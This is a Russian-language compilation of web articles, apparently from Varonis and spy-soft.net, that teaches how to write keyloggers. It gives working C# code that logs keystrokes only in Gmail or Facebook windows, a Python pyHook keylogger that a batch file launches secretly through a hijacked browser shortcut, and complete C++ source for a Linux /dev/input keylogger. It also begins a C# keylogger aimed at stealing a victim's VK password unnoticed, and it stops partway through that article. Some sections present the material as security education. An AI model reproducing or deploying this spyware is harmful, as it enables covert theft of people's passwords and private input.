Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
1. [DllImport("user32.dll")] 2. 3. public static extern int GetAsyncKeyState(Int32 i);
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
1. while (true) 2. < 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. < 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. < 9. Console.WriteLine((Keys)i); 10. 11. >12. > 13. >
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
1. while (true) 2. < 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) >0) 5. < 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. < 9. //проверка клавиатуры 10. >11. > 12. Thread.Sleep(100); 13. >
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
1. //Ищем почтовый адрес 2. ^[\w!#$%&'*+\-/=?\^_`<|>~]+(\.[\w!#$%&'*+\-/=?\^_`<|>~]+)*@((([\-\w]+\.)+[a-zA-Z])|(([0-9]\.)[0-9]))$ 3. 4. 5. //Ищем пароль 6. (?=^.$)(?=.*\d)(?=.*[a-zA-Z])
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
1. Regex re = new Regex(@"^[\w!#$%&'*+\-/=?\^_`<|>~]+(\.[\w!#$%&'*+\-/=?\^_`<|>~]+)*@((([\-\w]+\.)+[a-zA-Z])|(([0-9]\.)[0-9]))$"); 2. Regex re2 = new Regex(@"(?=^.$)(?=.*\d)(?=.*[a-zA-Z])"); 3. string email = "Oded.awask@gmail.com"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
- Varonis
- неструктурированные данные
- вредоносное по
- информационная безопасность
Простой кейлоггер на Python
Здравствуйте, с вами снова QUAZAR. Сегодня я покажу как создать простой кейлоггер на Python. Разумеется данный клавиатурный шпион не может соперничать с такими гигантами как Elite Keylogger, но несмотря на это ему можно найти свое применение.
Подробно о том, что такое кейлоггер и о видах кейлоггеров, вы можете прочитать в статье «Что такое кейлоггер«. Чтобы найти дополнительные материалы по теме используйте поиск по сайту, который находится в верхнем правом углу. Просто впишите слово «кейлоггер» или «клавиатурный шпион».
Простой кейлоггер на Python
Для создания кейлоггера нам потребуется:
- Операционная система: Windows или MacOs (также можно использовать любой Linux, но я лично не пробовал)
- Установленный на целевой машине Python, а также специальные библиотеки.
Все ссылки на бесплатное ПО будут перечислены ниже.
Данный материал носит информационный характер. Изложенная в статье информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.spy-soft.net, ни автор публикации не несут никакой ответственности за любой вред нанесенный материалом этой статьи.
Создание простого кейлоггера на Python
Для начала необходимо скачать и установить Python.
После установки Python вам необходимо установить модули «pyHook» и «pywin32». На этом сайте вы найдете 32- и 64-битные версии для Windows и других ОС. Скачайте «PYhook» и «pyWin32» в соответствии с установленной вами версией Python и Windows (32 бит или 64 бит).
После загрузки установите и откройте меню IDLE (Python GUI) из меню «Пуск».
Зайдите в меню «Файл» и нажмите на пункте «Новый Файл». После чего вставьте код кейлоггера:
#Name: QUAZAR
#Website : www.spy-soft.net
import pyHook , pythoncom , sys , logging
file_log = ‘C:keyloggerlog.txt’
def OnKeyboardEvent ( event ) :
logging . basicConfig ( filename = file_log , level = logging . DEBUG , format = ‘%(message)s’ )
chr ( event . Ascii )
logging . log ( 10 , chr ( event . Ascii ) )
return True
hooks_manager = pyHook . HookManager ( )
hooks_manager . KeyDown = OnKeyboardEvent
hooks_manager . HookKeyboard ( )
pythoncom . PumpMessages ( )
И сохраните его назвав файл Keylogger.pyw. Только не сохраняйте файл в корневом каталоге C: где для копирования и удаления файлов нужны права администратора. Создайте новую папку на диске C: или в другом месте, где вам не нужны права администратора для копирования файлов и сохраните Keylogger.pyw там.
В качестве выходного файла отчета «file_log =« C:keyloggerlog.txt » вы можете выбрать любое место, но лучше конечно, какое-то скрытое место на жестком диске. В этом примере я буду сохранять файл отчета на диск в корневой каталог C:. Ведь мне нечего скрывать.
Автоматический запуск кейлоггера на Python
Кейлоггер готов. Теперь надо сделать так чтобы кейлоггер запускался скрыто от пользователя и автоматически с загрузкой Windows. Реализовать это можно по разному. Попробуем сделать с помощью bat-файла привязав запуск кейлоггера к какой-нибудь программе или прописав в автозагрузку.
Для начала создайте bat-файл. Скопируйте и вставьте в блокнот следующий код:
: : Name : QUAZAR
: : Website : www . spy — soft . net
start «» «C:keyloggerkeylogger.pyw»
start «» «C:Program FilesOperalauncher.exe»
В первой строке необходимо вписать путь к файлу keylogger.pyw (в моем случае «C:keylogger.pyw»). Во второй строке вы должны ввести путь к программе, который обычно использует пользователь (в моем случае — браузер Opera).
После редактирования сохраните файл в расширении .bat (в моем случае logger.bat) в каком-нибудь скрытом месте на компьютере (в моем случае в «C:keylogger.bat»).
Теперь идем на рабочий стол и выбираем ярлык часто используемой программы (в моем случае — это браузер Opera). Правым кликом мышки вызываем контекстное меню и заходим в свойства ярлыка. В поле «Объект» вводим путь к бат-файлу кейлоггера «C:keyloggerlogger.bat».
После внесения изменений изменится и иконка ярлыка. Но это легко решается на вкладке свойстве (смотрите скрин выше).
Теперь, когда жертва откроет браузер Opera, автоматически запустится бат-файл, т.е. наш кейлоггер. С этого момента все нажатия на клавиатуре будут сохраняться в файл keyloggerlog.txt.
Для остановки работы кейлоггера зайдите в диспетчер задач и прибейте процесс.
Данный метод имеет одно «но». Каждый раз при запуске кейлоггера будет появляться окно командной строки. У людей далеких от компьютера это не вызовет подозрений, а вот продвинутый пользователь может понять в чем здесь дело. Скрыть окно командной строки можно с помощью конвертера bat в exe.
На этом все. Теперь вы знаете, как создать простейший кейлоггер на Python, который при желании можно доработать еще лучше.
Пишем кейлоггер на Linux: часть 1
Первая часть полного руководства по кейлоггингу в Linux будет посвящена основам кейлоггинга и его важности в сфере обеспечения безопасности Linux. Мы подробно разберем кейлоггинг в пользовательском пространстве и покажем как написать кейлоггер для Linux, считывающий нажатия с клавиатуры устройства.
Что такое кейлоггер?
Кейлоггер – программа, скрытно регистрирующая различные действия пользователя. Чаще всего отслеживаются нажатия клавиш на клавиатуре компьютера. В зависимости от дизайна, кейлоггеры способны работать как в пространстве ядра, так и в пространстве пользователя. В этой статье мы рассмотрим кейлоггинг в пространстве пользователя.
Почему нужно изучать кейлоггеры?
Чаще всего кейлоггеры используют на аудитах информационной безопасности. Специалисты из красной команды используют различные инструменты для взлома целевой системы, проникновения в инфраструктуру и кражи ценных данных. Это необходимо, чтобы найти и раскрыть различные уязвимости в системах безопасности целевой организации. Кейлоггеры – один из инструментов красной команды, которые часто используются в реальных атаках. С их помощью собирают учетные данные, необходимые для проникновения в инфраструктуру организации.
Кому это может понадобиться?
- Вы узнаете, какие методы внедрения кейлоггеров существуют;
- Вы поймете, где можно запустить кейлоггер.
Специалистам Defensive Security или синей команде:
- Вы поймете, где могут скрываться кейлоггеры;
- Вы узнаете общие API и методы, которые следует отслеживать для обнаружения кейлоггеров.
Взаимодействие клавиатуры и Linux
Чтобы написать кейлоггер, нам нужно знать как работает клавиатура в Linux. Ниже показано то, как клавиатура вписывается в общую схему:
/-----------+-----------\ /-----------+-----------\ | app 1 | app 2 | | app 3 | app 4 | \-----------+-----------/ \-----------+-----------/ ^ ^ | | +-------+ | | | | key symbol keycode | | + modifiers | | | | | +---+-------------+ +-----------+-------------+ + X server | | /dev/input/eventX | +-----------------+ +-------------------------+ ^ ^ | keycode / scancode | +---------------+---------------+ | | +---------------+--------------+ interrupt | kernel | | motherboard |----------->| CPU | +----------+ key up/down +-------------+ +-----+
Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши ( keydown и keyup ), который называется кодом клавиши или скан-кодом ( keycode или scancode ). Когда клавиша нажата или отпущена, она передает скан-код материнской плате через интерфейс, к которому подключена. Материнская плата обнаружит произошедшее событие клавиатуры (например, keydown и/или keyup ) и запустит прерывание для CPU.
CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs ( /dev/input/eventX ).
В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях.
Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:
- Кейлоггер определит, какой файл /dev/input/eventX является клавиатурным устройством и будет напрямую считывать данные из этого файла.
- Кейлоггер запросит данные о событиях у X-сервера.
А как найти клавиатуру в системе?
Определить клавиатуру или устройство, заменяющее ее, довольно просто:
- Итерируем все файлы по ` /dev/input/ ;
- Проверяем, принадлежит ли найденный файл к символьному устройству;
- Проверяем, поддерживает ли данный файл события клавиатуры;
- Проверяем, есть ли в данном файле клавиши, встречающиеся на клавиатурах.
В системе может быть не одна клавиатура, или устройства, заменяющие ее (сканеры штрих-кодов). В таких случаях можно попытаться проверить поддержку нескольких клавиш. Чтобы отсеять ненужные устройства, можно считать все клавиши и обработать записанные данные.
Так можно итерировать каталоги и искать символьные файлы в C++17:
std::string get_kb_device() < std::string kb_device = ""; for (auto &p : std::filesystem::directory_iterator("/dev/input/")) < std::filesystem::file_status status = std::filesystem::status(p); if (std::filesystem::is_character_file(status)) < kb_device = p.path().string(); >> return kb_device; >
А вот проверить то, что файл действительно принадлежит клавиатуре и поддерживает клавиши, встречающиеся на реальных клавиатурах, немного сложнее:
- Проверим, действительно ли файл доступен для чтения.
- Используем IOCTL (функцию, манипулирующую базовыми параметрами устройств, представленных в виде специальных файлов), чтобы проверить, поддерживаются ли события клавиатуры.
- Еще раз используем IOCTL и узнаем, поддерживаются ли нужные нам клавиши.
Пример кода для вышеописанной логики приведен ниже:
std::string filename = p.path().string(); int fd = open(filename.c_str(), O_RDONLY); if(fd == -1) < std::cerr int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z; ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap); if((EV_KEY & event_bitmap) == EV_KEY) < ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap); if((kbd_bitmap & event_bitmap) == kbd_bitmap) < // The device supports A, B, C, Z keys, so it probably is a keyboard kb_device = filename; close(fd); break; >> close(fd);
Как реализовать считывание событий клавиатуры?
Как только мы нашли клавиатуру или устройство, заменяющее ее, реализовать считывани события очень просто:
- Считываем данные с клавиатуры в объект ` input_event `;
- Проверяем, является ли тип события EV_KEY (т.е. событием нажатия клавиши);
- Расшифруем поля и извлечем скан-код;
- Сопоставим скан-код с названием клавиши.
Структура ` input_event` выглядит так:
struct input_event
Рассмотрим переменные в структуре:
- `time` – временная метка, возвращающая время, в которое произошло событие.
- «type` – тип события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он будет **EV_KEY** .
- «code` – код события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он станет скан-кодом.
- «value` – значение события. Оно может может показывать относительное изменение EV_REL , совершенно новое значение EV_ABS. В EV_KEY оно принимает значение 0 для keyup , 1 для keydown и 2 для автоповтора.
Чтобы сопоставить скан-код и название клавиши, можно воспользоваться таким способом:
std::vector keycodes = < "RESERVED", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "MINUS", "EQUAL", "BACKSPACE", "TAB", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "LEFTBRACE", "RIGHTBRACE", "ENTER", "LEFTCTRL", "A", "S", "D", "F", "G", "H", "J", "K", "L", "SEMICOLON", "APOSTROPHE", "GRAVE", "LEFTSHIFT", "BACKSLASH", "Z", "X", "C", "V", "B", "N", "M", "COMMA", "DOT", "SLASH", "RIGHTSHIFT", "KPASTERISK", "LEFTALT", "SPACE", "CAPSLOCK", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "NUMLOCK", "SCROLLLOCK" >;
Для полноты картины ниже приведен полный исходный код кейлоггера:
#include #include #include #include #include #include #include #include #include #include #include std::vector keycodes = < "RESERVED", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "MINUS", "EQUAL", "BACKSPACE", "TAB", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "LEFTBRACE", "RIGHTBRACE", "ENTER", "LEFTCTRL", "A", "S", "D", "F", "G", "H", "J", "K", "L", "SEMICOLON", "APOSTROPHE", "GRAVE", "LEFTSHIFT", "BACKSLASH", "Z", "X", "C", "V", "B", "N", "M", "COMMA", "DOT", "SLASH", "RIGHTSHIFT", "KPASTERISK", "LEFTALT", "SPACE", "CAPSLOCK", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "NUMLOCK", "SCROLLLOCK" >; int loop = 1; void sigint_handler(int sig) < loop = 0; >int write_all(int file_desc, const char *str) < int bytesWritten = 0; int bytesToWrite = strlen(str); do < bytesWritten = write(file_desc, str, bytesToWrite); if(bytesWritten == -1) < return 0; >bytesToWrite -= bytesWritten; str += bytesWritten; > while(bytesToWrite > 0); return 1; > void safe_write_all(int file_desc, const char *str, int keyboard) < struct sigaction new_actn, old_actn; new_actn.sa_handler = SIG_IGN; sigemptyset(&new_actn.sa_mask); new_actn.sa_flags = 0; sigaction(SIGPIPE, &new_actn, &old_actn); if(!write_all(file_desc, str)) < close(file_desc); close(keyboard); std::cerr sigaction(SIGPIPE, &old_actn, NULL); > void keylogger(int keyboard, int writeout) < int eventSize = sizeof(struct input_event); int bytesRead = 0; const unsigned int number_of_events = 128; struct input_event events[number_of_events]; int i; signal(SIGINT, sigint_handler); while(loop) < bytesRead = read(keyboard, events, eventSize * number_of_events); for(i = 0; i < (bytesRead / eventSize); ++i) < if(events[i].type == EV_KEY) < if(events[i].value == 1) < if(events[i].code >0 && events[i].code < keycodes.size()) < safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard); safe_write_all(writeout, "\n", keyboard); >else < write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED")); >> > > > if(bytesRead > 0) safe_write_all(writeout, «\n», keyboard); > std::string get_kb_device() < std::string kb_device = ""; for (auto &p : std::filesystem::directory_iterator("/dev/input/")) < std::filesystem::file_status status = std::filesystem::status(p); if (std::filesystem::is_character_file(status)) < std::string filename = p.path().string(); int fd = open(filename.c_str(), O_RDONLY); if(fd == -1) < std::cerr int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z; ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap); if((EV_KEY & event_bitmap) == EV_KEY) < // The device acts like a keyboard ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap); if((kbd_bitmap & event_bitmap) == kbd_bitmap) < // The device supports A, B, C, Z keys, so it probably is a keyboard kb_device = filename; close(fd); break; >> close(fd); > > return kb_device; > void print_usage_and_quit(char *application_name) < std::cout int main(int argc, char *argv[]) < std::string kb_device = get_kb_device(); if (argc < 2) print_usage_and_quit(argv[0]); if(kb_device == "") print_usage_and_quit(argv[0]); int writeout; int keyboard; if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0) < std::cerr if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0) < std::cerr std::cout
Устали от того, что Интернет знает о вас все? Присоединяйтесь к нам и станьте невидимыми!
Как написать кейлоггер на C#
Хорошие кейлоггеры с большим функционалом и защитой от детекта антивирусов могут стоить многих денег. Но создание кейлоггера не такая уж сложная вещь, и при желании любой немного разбирающийся в программировании человек может самостоятельно написать свой собственный кейлоггер, который даже не будет палится антивирусами. В сегодняшней статье я покажу, как создать кейлоггер / клавиатурный шпион на C#.
Статья предназначена для профессиональных пентестеров и «белых хакеров». Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Создание кейлоггера на C#
Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:
- мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
- мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
- мы сможем забирать логи, находясь в той же локальной сети;
- антивирус должен молчать;
- файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
- мы не будем пытаться скрывать процесс и только дадим ему неприметное название.
Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.
Подробнее об атаках на парольные менеджеры читайте в статье «Взлом KeePass».
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория создания клавиатурного шпиона на C#
Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.
Написание кейлоггера на C#
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.
Импортируем GetAsyncKeyState из user32.dll: